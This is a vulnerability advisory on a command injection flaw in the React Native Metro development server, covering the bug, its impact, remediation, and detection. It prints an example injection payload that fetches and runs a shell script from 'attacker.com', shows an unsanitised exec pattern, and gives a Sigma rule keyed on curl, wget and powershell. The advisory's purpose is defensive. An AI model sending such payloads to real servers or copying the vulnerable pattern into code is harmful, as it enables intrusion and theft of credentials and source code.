CVE-2025-11953: React Native Community CLI -- Metro Dev Server OS Command Injection

Background

React Native Community CLI is the official command-line toolchain for building React Native mobile applications. During development, it runs a Metro bundler development server that serves JavaScript bundles to connected devices and simulators over the local network. Metro binds to a network interface so physical devices on the same WiFi network can connect.

CVE-2025-11953 is an OS command injection vulnerability in the Metro Development Server. POST requests to the Metro server can include parameters that are passed unsanitised into OS commands, allowing unauthenticated attackers with network access to execute arbitrary code. On Windows, this extends to arbitrary shell command execution.

CISA added this to the KEV catalog on 2026-02-05. Metro is a development tool, but it is frequently left running in environments accessible beyond localhost — shared development networks, CI/CD systems, or developer machines with open ports.

Technical Mechanism

CWE-78 (OS Command Injection) occurs in Metro’s request handling when user-controlled POST body parameters are passed unsanitized to child process spawning or shell execution calls.

// Vulnerable pattern in Metro dev server request handler (conceptual)
const { exec } = require('child_process');

app.post('/symbolicate', (req, res) => {
  const { stack } = req.body;
  // Bug: stack frame data passed directly to shell command
  exec(`node symbolicate.js "${stack}"`, (err, stdout) => {
    res.send(stdout);
  });
});

// Attacker POST body:
// {"stack": "frame\"; curl http://attacker.com/shell.sh | sh; echo \"done"}
// Executes: node symbolicate.js "frame"; curl http://attacker.com/shell.sh | sh; echo "done"

Any attacker on the same network segment as a running Metro dev server can send crafted POST requests to inject and execute arbitrary OS commands with the privileges of the developer running the server (typically a user with sudo/admin access in development environments).

Real-World Exploitation Evidence

CISA’s KEV listing confirms active exploitation. Developer environments are a recognised path to source code theft, credential harvesting, and supply chain compromise. Developers routinely run Metro on networks shared with untrusted parties — cafes, conferences, shared offices. On CI/CD systems, an exposed Metro instance can be exploited during automated build processes. Supply chain compromise via developer machine access is a well-established attack path.

Impact Assessment

• Unauthenticated command execution with developer’s user privileges on the build machine
• Access to source code, signing keys, and cloud credentials stored in developer environment
• Supply chain attack vector: modify source code or build artifacts
• Full shell access on Windows (additional attack surface)
• CI/CD pipeline compromise if Metro is running in build environments

Affected Versions

Remediation Steps

1. Update React Native CLI and Metro bundler to patched versions immediately.
2. Never run Metro on a network interface accessible to untrusted parties.
3. Bind Metro to localhost (--host 127.0.0.1) rather than 0.0.0.0.
4. Use firewall rules to block external access to Metro’s default port (8081) on developer machines.
5. Disable Metro when not actively developing (do not leave it running as a background service).
6. In CI/CD environments, ensure Metro ports are not exposed beyond the build container.

Detection Guidance

Log Sources: Network flow data, host-based firewall logs, process creation logs.

IOCs: Inbound POST requests to port 8081 from non-localhost addresses; unexpected processes spawned from Node.js; network connections from developer machines to external C2 infrastructure.

Sigma rule:

title: React Native Metro Dev Server Command Injection CVE-2025-11953
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    ParentImage|endswith: '\node.exe'
    CommandLine|contains|any:
      - 'curl '
      - 'wget '
      - 'powershell'
      - 'cmd /c'
  condition: selection
level: high

Timeline

References

• NVD — CVE-2025-11953
• CISA KEV — CVE-2025-11953
• MITRE CVE — CVE-2025-11953